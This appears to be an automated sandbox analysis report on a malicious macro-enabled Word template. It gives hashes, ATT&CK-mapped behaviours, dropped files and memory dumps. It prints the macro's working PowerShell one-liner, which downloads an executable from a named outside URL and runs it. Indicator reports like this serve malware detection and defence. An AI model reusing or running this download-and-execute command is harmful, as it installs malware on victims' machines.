ecdf26dffbf572bde7ae3b7fbc4f92e958dcf41f047a8af086e131173c49090d

Analysis

max time kernel
133s
max time network
143s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
16-11-2024 12:42

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General

Target

2020-01-01_162556.dotm
Size

21KB
MD5

ae3d8d88bd51083ed45622c125dddeed
SHA1

8a04d0cbde8ae822a1f7179cb8669441534f4ada
SHA256

fbc515049263135d70c68e58c634fce00d0e73a1f085d5fd30de1b29876a8784
SHA512

9c41fa0b3e99fcc0b40c069193ee0f3d6aa6ce0253ecb17cb5afd303058fd351a6fc3e1fa21d4c489cfc9668dbbf2330620f5b16432e57a229714f883511ddca
SSDEEP

384:3eK8Imh5a70iPlvREJoERXZmHRmhcgOm42GG6F7//o4MA4ENci1XIb:uKpC6pRal+x25A44ccX2

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://bhraman.org/exe/wenL.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	4788	4864	powershell.exe	86

Blocklisted process makes network request 1 IoCs

flow	pid	Process
23	4788	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4788	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4864	WINWORD.EXE
4864	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4788	powershell.exe
4788	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
4864	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4788	powershell.exe

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
4864	WINWORD.EXE
4864	WINWORD.EXE
4864	WINWORD.EXE
4864	WINWORD.EXE
4864	WINWORD.EXE
4864	WINWORD.EXE
4864	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 4864 wrote to memory of 4788	4864	WINWORD.EXE	90
PID 4864 wrote to memory of 4788	4864	WINWORD.EXE	90

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\2020-01-01_162556.dotm" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $client = new-object System.Net.WebClient;$a = 'https://bhraman.org/exe/wenL.exe'.Split(',');$huas = $env:temp + '\ygzaxaho.exe';foreach($b in $a){try{$client.DownloadFile($b.ToString(), $huas);Invoke-Item($huas);break;}catch{write-host $_.Exception.Message}};
  2⤵
  - Process spawned unexpected child process
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4788

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\TCD174C.tmp\gb.xsl

Filesize
262KB

MD5
51d32ee5bc7ab811041f799652d26e04

SHA1
412193006aa3ef19e0a57e16acf86b830993024a

SHA256
6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

SHA512
5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_takq5dt1.owg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\ygzaxaho.exe

Filesize
114B

MD5
e89f75f918dbdcee28604d4e09dd71d7

SHA1
f9d9055e9878723a12063b47d4a1a5f58c3eb1e9

SHA256
6dc9c7fc93bb488bb0520a6c780a8d3c0fb5486a4711aca49b4c53fac7393023

SHA512
8df0ab2e3679b64a6174deff4259ae5680f88e3ae307e0ea2dfff88ec4ba14f3477c9fe3a5aa5da3a8e857601170a5108ed75f6d6975958ac7a314e4a336aed0

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Filesize
2B

MD5
f3b25701fe362ec84616a93a45ce9998

SHA1
d62636d8caec13f04e28442a0a6fa1afeb024bbb

SHA256
b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

SHA512
98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

Download Submit
memory/4788-68-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4788-109-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4788-69-0x000002B057500000-0x000002B057522000-memory.dmp

Filesize
136KB

Download
memory/4864-11-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4864-46-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4864-10-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4864-1-0x00007FFDED4CD000-0x00007FFDED4CE000-memory.dmp

Filesize
4KB

Download
memory/4864-9-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4864-12-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4864-13-0x00007FFDAB100000-0x00007FFDAB110000-memory.dmp

Filesize
64KB

Download
memory/4864-14-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4864-15-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4864-19-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4864-18-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4864-20-0x00007FFDAB100000-0x00007FFDAB110000-memory.dmp

Filesize
64KB

Download
memory/4864-21-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4864-23-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4864-22-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4864-17-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4864-16-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4864-6-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4864-47-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4864-62-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4864-61-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4864-8-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4864-7-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4864-5-0x00007FFDAD4B0000-0x00007FFDAD4C0000-memory.dmp

Filesize
64KB

Download
memory/4864-4-0x00007FFDAD4B0000-0x00007FFDAD4C0000-memory.dmp

Filesize
64KB

Download
memory/4864-97-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4864-2-0x00007FFDAD4B0000-0x00007FFDAD4C0000-memory.dmp

Filesize
64KB

Download
memory/4864-3-0x00007FFDAD4B0000-0x00007FFDAD4C0000-memory.dmp

Filesize
64KB

Download
memory/4864-110-0x00007FFDED4CD000-0x00007FFDED4CE000-memory.dmp

Filesize
4KB

Download
memory/4864-111-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4864-112-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4864-113-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4864-119-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4864-120-0x00007FFDED430000-0x00007FFDED625000-memory.dmp

Filesize
2.0MB

Download
memory/4864-0-0x00007FFDAD4B0000-0x00007FFDAD4C0000-memory.dmp

Filesize
64KB

Download